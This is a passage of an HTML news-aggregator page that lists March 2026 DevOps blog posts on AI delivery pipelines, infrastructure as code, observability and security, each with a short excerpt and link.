          data-heading-id="h3-the-ai-velocity-paradox-when-faster-code-is-breaks-devops"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI is accelerating code generation, but is your delivery pipeline keeping up? Explore findings from the 2026 State of DevOps Modernization report on how to fix the &quot;Velocity Paradox&quot; and scale safely.</p>
<p><strong>📅 Mar 11, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/when-faster-code-starts-to-break-the-delivery-system"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-era-of-ai-as-text-is-over-execution-is-the-new-interface" class="group relative scroll-mt-24">
        <a href="#h3-the-era-of-ai-as-text-is-over-execution-is-the-new-interface" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The era of “AI as text” is over. Execution is the new interface.
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-era-of-ai-as-text-is-over-execution-is-the-new-interface"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI is shifting from prompt-response interactions to programmable execution. See how the GitHub Copilot SDK enables agentic workflows directly inside your applications. The post The era of “AI as text”</p>
<p><strong>📅 Mar 10, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/ai-and-ml/github-copilot/the-era-of-ai-as-text-is-over-execution-is-the-new-interface/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-automating-detection-gap-analysis-with-gitlab-duo-agent-platform" class="group relative scroll-mt-24">
        <a href="#h3-automating-detection-gap-analysis-with-gitlab-duo-agent-platform" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Automating detection gap analysis with GitLab Duo Agent Platform
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-automating-detection-gap-analysis-with-gitlab-duo-agent-platform"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>After an incident wraps up, every incident response or security operations center faces the same uncomfortable question: What did we miss, and why? Answering that question well takes real work — someo</p>
<p><strong>📅 Mar 10, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/automating-detection-gap-analysis-with-gitlab-duo-agent-platform/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-pulumi-cloud-now-supports-google-sign-in" class="group relative scroll-mt-24">
        <a href="#h3-pulumi-cloud-now-supports-google-sign-in" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Pulumi Cloud Now Supports Google Sign-In
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pulumi-cloud-now-supports-google-sign-in"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Many developers and platform engineers already use Google accounts daily for email, cloud console access, and collaboration. Until now, signing in to Pulumi Cloud required a GitHub, GitLab, or Atlassi</p>
<p><strong>📅 Mar 10, 2026</strong> • <strong>📰 Pulumi Blog</strong></p>
<p><a href="https://www.pulumi.com/blog/pulumi-cloud-now-supports-google-sign-in/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-iac" class="group relative scroll-mt-24">
        <a href="#h2-iac" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🏗️ IaC
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-iac"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-mastering-your-sles-estate-a-beginners-guide-to-ansible-on-sles-16" class="group relative scroll-mt-24">
        <a href="#h3-mastering-your-sles-estate-a-beginners-guide-to-ansible-on-sles-16" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Mastering Your SLES Estate: A Beginner’s Guide to Ansible on SLES 16
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-mastering-your-sles-estate-a-beginners-guide-to-ansible-on-sles-16"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In the world of enterprise Linux, consistency and efficiency are essential. As your infrastructure expands, managing each server manually becomes unfeasible. This is where automation comes in, and for</p>
<p><strong>📅 Mar 13, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/sles-automation-ansible-google-cloud-guide/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-ec2-r8a-instances-are-now-available-in-asia-pacific-tokyo-region" class="group relative scroll-mt-24">
        <a href="#h3-amazon-ec2-r8a-instances-are-now-available-in-asia-pacific-tokyo-region" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon EC2 R8a instances are now available in Asia Pacific (Tokyo) Region
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-ec2-r8a-instances-are-now-available-in-asia-pacific-tokyo-region"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Starting today, Amazon EC2 R8a instances are now available in Asia Pacific (Tokyo) Region. These instances, feature 5th Gen AMD EPYC processors (formerly code named Turin) with a maximum frequency of </p>
<p><strong>📅 Mar 13, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/03/amazon-ec2-r8a-instances-tokyo/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-new-previous-provider-version-docs-in-pulumi-registry" class="group relative scroll-mt-24">
        <a href="#h3-new-previous-provider-version-docs-in-pulumi-registry" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 New: Previous Provider Version Docs in Pulumi Registry
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-new-previous-provider-version-docs-in-pulumi-registry"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The Pulumi Registry now supports browsing documentation for previous versions of first-party Pulumi providers. If you’ve ever needed to look up the API docs for an older provider version, you no longe</p>
<p><strong>📅 Mar 11, 2026</strong> • <strong>📰 Pulumi Blog</strong></p>
<p><a href="https://www.pulumi.com/blog/previous-version-docs-are-now-available-in-the-pulumi-registry/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-observability" class="group relative scroll-mt-24">
        <a href="#h2-observability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📊 Observability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-observability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-the-green-side-of-observability-why-less-data-can-mean-more-insight" class="group relative scroll-mt-24">
        <a href="#h3-the-green-side-of-observability-why-less-data-can-mean-more-insight" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Green Side of Observability: Why Less Data Can Mean More Insight
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-green-side-of-observability-why-less-data-can-mean-more-insight"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Observability can generate massive data volumes. Learn how sustainable observability reduces telemetry waste, lowers costs and improves insight.</p>
<p><strong>📅 Mar 16, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/the-green-side-of-observability-why-less-data-can-mean-more-insight/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-a-blueprint-for-multi-layer-service-level-management" class="group relative scroll-mt-24">
        <a href="#h3-a-blueprint-for-multi-layer-service-level-management" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 A Blueprint for Multi Layer Service Level Management
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-a-blueprint-for-multi-layer-service-level-management"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This blog shows an example of applying SLM at each tier of a modern technology stack.</p>
<p><strong>📅 Mar 13, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/observability/a-blueprint-for-multi-layer-service-level-management"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-a-blueprint-for-enterprise-alert-management" class="group relative scroll-mt-24">
        <a href="#h3-a-blueprint-for-enterprise-alert-management" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 A Blueprint for Enterprise Alert Management
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-a-blueprint-for-enterprise-alert-management"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn how to structure your people, processes, and tools with a proven Alert Lifecycle Reference Architecture.</p>
<p><strong>📅 Mar 13, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/observability/a-blueprint-for-enterprise-alert-management"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ebpf-network-metrics-now-ga" class="group relative scroll-mt-24">
        <a href="#h3-ebpf-network-metrics-now-ga" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 eBPF: Network Metrics - Now GA!
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ebpf-network-metrics-now-ga"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Kernel-level TCP and DNS telemetry helps engineers diagnose network performance issues faster—directly within APM workflows using eBPF Agent.</p>
<p><strong>📅 Mar 11, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/infrastructure-monitoring/ebpf-network-metrics-for-kernel-network-view-apm-infra"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-sap-managed-service-providers-guide-to-new-relic" class="group relative scroll-mt-24">
        <a href="#h3-sap-managed-service-providers-guide-to-new-relic" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 SAP Managed Service Providers Guide to New Relic
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-sap-managed-service-providers-guide-to-new-relic"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>New Relic helps SAP MSPs shift from siloed monitoring to business observability, measuring performance by process reliability, modernization, and compliance.</p>
<p><strong>📅 Mar 11, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/observability/sap-managed-service-providers-guide-to-new-relic"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-showcasing-our-potential-at-europol-industry-and-research-days" class="group relative scroll-mt-24">
        <a href="#h3-showcasing-our-potential-at-europol-industry-and-research-days" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Showcasing Our Potential at Europol Industry and Research Days
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-showcasing-our-potential-at-europol-industry-and-research-days"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>On February 24-26, Europol, the official law enforcement agency of the European Union. welcomed leading innovators, researchers, and law enforcement representatives to its headquarters in The Hague fo</p>
<p><strong>📅 Mar 11, 2026</strong> • <strong>📰 Zabbix Blog</strong></p>
<p><a href="https://blog.zabbix.com/showcasing-our-potential-at-europol-industry-and-research-days/32733/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-apono-integration-for-grafana-enabling-just-in-time-access-for-data-sources" class="group relative scroll-mt-24">
        <a href="#h3-apono-integration-for-grafana-enabling-just-in-time-access-for-data-sources" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Apono integration for Grafana: Enabling Just-in-Time access for data sources
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-apono-integration-for-grafana-enabling-just-in-time-access-for-data-sources"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Ben Avner is the Head of Ecosystem and Strategic Alliances at Apono, where he leads the company’s global partner strategy and technology alliances. He focuses on building and scaling strategic partner</p>
<p><strong>📅 Mar 9, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/apono-integration-for-grafana-enabling-just-in-time-access-for-data-sources/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-security" class="group relative scroll-mt-24">
        <a href="#h2-security" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔐 Security
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-security"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="group relative scroll-mt-24">
        <a href="#h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Threats Making WAVs - Incident Response to a Cryptomining Attack
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Guardicore security researchers describe and uncover a full analysis of a cryptomining attack, which hid a cryptominer inside WAV files. The report includes the full attack vectors, from detection, in</p>
<p><strong>📅 Mar 16, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/threats-making-wavs-incident-reponse-cryptomining-attack"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-simplify-your-cloud-run-security-with-identity-aware-proxy-iap" class="group relative scroll-mt-24">
        <a href="#h3-simplify-your-cloud-run-security-with-identity-aware-proxy-iap" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Simplify your Cloud Run security with Identity Aware Proxy (IAP)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-simplify-your-cloud-run-security-with-identity-aware-proxy-iap"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Cloud Run provides a powerful and scalable platform for deploying applications. Today, we’re introducing the general availability of two major enhancements to Cloud Run security: direct Identity-Aware</p>
<p><strong>📅 Mar 13, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/products/serverless/iap-integration-with-cloud-run/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-secure-browsing-powered-by-peers-join-the-new-chrome-enterprise-community" class="group relative scroll-mt-24">
        <a href="#h3-secure-browsing-powered-by-peers-join-the-new-chrome-enterprise-community" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Secure Browsing, Powered by Peers: Join the New Chrome Enterprise Community
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-secure-browsing-powered-by-peers-join-the-new-chrome-enterprise-community"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We’re excited to announce a new online platform for the Chrome Enterprise Customer Community: a global, open platform now accessible to all our business customers. This community is designed for IT pr</p>
<p><strong>📅 Mar 13, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/products/chrome-enterprise/secure-browsing-powered-by-peers-join-the-new-chrome-enterprise-community/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-apparmor-vulnerability-fixes-available" class="group relative scroll-mt-24">
        <a href="#h3-apparmor-vulnerability-fixes-available" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AppArmor vulnerability fixes available
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-apparmor-vulnerability-fixes-available"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Qualys discovered several vulnerabilities in the AppArmor code of the Linux kernel. These are being referred to as CrackArmor, while CVE IDs have not been assigned yet. All of the vulnerabilities requ</p>
<p><strong>📅 Mar 12, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/apparmor-vulnerability-fixes-available"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-temporary-rollback-build-identities-can-access-advanced-security-read-alerts-again" class="group relative scroll-mt-24">
        <a href="#h3-temporary-rollback-build-identities-can-access-advanced-security-read-alerts-again" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Temporary rollback: build identities can access Advanced Security: read alerts again
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-temporary-rollback-build-identities-can-access-advanced-security-read-alerts-again"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you use build service identities like Project Collection Build Service to call Advanced Security APIs, the Advanced Security permission changes in Sprint 269 broke that. We restricted API access fo</p>
<p><strong>📅 Mar 11, 2026</strong> • <strong>📰 Azure DevOps Blog</strong></p>
<p><a href="https://devblogs.microsoft.com/devops/temporary-rollback-build-identities-can-access-advanced-security-read-alerts-again/"><strong>🔗 Read more</strong></a></p>
